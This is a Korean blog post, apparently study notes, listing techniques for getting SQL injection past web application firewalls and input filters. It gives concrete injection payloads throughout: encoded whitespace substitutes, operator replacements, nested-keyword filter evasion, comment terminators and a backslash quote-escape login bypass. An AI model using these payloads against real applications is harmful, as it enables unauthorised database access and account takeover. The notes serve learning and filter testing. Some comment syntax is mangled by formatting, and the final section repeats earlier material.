카테고리 없음

Sql Injection Bypass WAF

Clelstyn256 2023. 12. 4. 09:22

1. 공백 문자 우회

1) Line Feed (\n)

  • 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자
  • URL Encoding: %0a
  • ex) no=1%0aor%0aid='admin'

2) Tab (\t)

  • 커서를 한 tab만큼 이동시키는 문자
  • URL Encoding: %09
  • ex) no=1%09or%09id='admin'

3) Carrage Return (\r)

  • 커서(캐럿)를 줄의 맨 앞(왼쪽)으로 이동시키는 개행 문자
  • URL Encoding: %0d
  • ex) no=1%0dor%0did='admin'

4) 주석 (//)**

  • ex) no=1//or//id='admin'

5) 괄호 ()

  • ex) no=(1)or(id='admin')

6) 더하기 (+)

  • ex) no=1+or+id='admin'

7) %0b, %0c, %a0

  • 1~6까지의 모든 우회 방법이 먹히지 않을 경우 공백 대신 사용
  • %a0은 잘 안먹히는 것 같으니 %0b나 %0c를 위주로 사용하자.

2. 논리 연산자, 비교 연산자 우회

1) OR 연산자

  • ||

2) AND 연산자

  • &&
  • URL Encoding: %26%26

3) 등호(=)

① LIKE 연산자

  • ex) id like "admin"
  • 정규 표현식을 이용하여 쿼리문을 조작할 수도 있음 (ex. pw like "a%" → pw의 첫 번째 문자가 a이면 true)

② IN 연산자

  • ex) id in ("admin")

③ instr(string $str, string $substr)

  • ex) instr(id, "admin")

④ 부등호 (< , >)

  • ex) length(pw) > 7 and length(pw) < 9

3. 함수 우회

1) str_replace(string $search, string $replace, string $subject)

  • 필터링되는 문자열 사이에 문자열을 넣는다.
  • ex) str_replace("admin", "", $_GET[id])

→ adadminmin 으로 입력하면 중간에 있는 admin이 공백으로 필터링되어 admin만 남게 된다.

2) substr(string $str, int $start, int $length)

  • substring(string $str, int $start, int $length)
  • mid(string $str, int $start, int $length)

3) ascii(string $str)

  • ord(string $str): ascii 함수와 마찬가지로 문자열을 아스키코드 값으로 변환해줌
  • hex(string $str): 문자열을 아스키코드 헥사값으로 변환해줌

ex) hex(substr(pw, 1, 1)) = hex(61)

4. 주석 처리

① --

  • 뒤에 반드시 공백이 있어야 정상적으로 주석 처리가 된다.
  • 한 줄만 주석처리한다.

② # (URL Encoding: %23)

  • '--'처럼 뒤에 공백이 없어도 정상적으로 주석 처리된다.
  • 한 줄만 주석 처리한다.

③ / /

  • /* */ 사이의 문자열들이 모두 주석 처리된다.

④ ;%00

  • NULL 문자인 %00과 ;이 결합한 주석 처리 문자

5. 싱글 쿼터(') 우회

1) 더블 쿼터(") 사용

ex) id="admin"

2) 백슬래시(\) 사용

  • select id from table where id='$_GET[id]' and pw='$_GET[pw]' 와 같은 쿼리문에 제한적으로 사용 가능
  • ex) id='\' and pw=' or 1#' → \에 의해 바로 뒤에 있는 싱글쿼터(')가 문자로 인식됨

☞ **'\' and pw'**가 문자열로 인식되고 이 뒷부분부터는 쿼리문으로 인식됨

☞ 인자 전달: id=\&pw=%20or%201%23


첫 번째 - AND

1) &&

  • url encoding: %26%26

두 번째 - OR

1) ||

세 번째 - 등호(=)

1) like 연산자

  • 등호랑 똑같이 사용
  • 추가로 pw like "a%", "%a%" , "%a" 와 같이 쿼리문에서 응용가능하다.

a가 해당 문자열 안에 있어도 참으로 반환

(순서대로 첫번째 문자가 a일 때, 문자열 안에 a가 들어있을 때, 마지막 문자가 a일 때)

2) in 연산자

  • 등호 대신 in을 사용하고 ()를 사용하여 표현한다.
  • ex) pw in ("1234")

3) instr 함수

  • ex) instr(id,"admin")

4) 부등호 (< , >)

  • 등호 대신 등식으로 표현
  • ex) length(pw) = 8 ---> length(pw) > 7 and length(pw) <9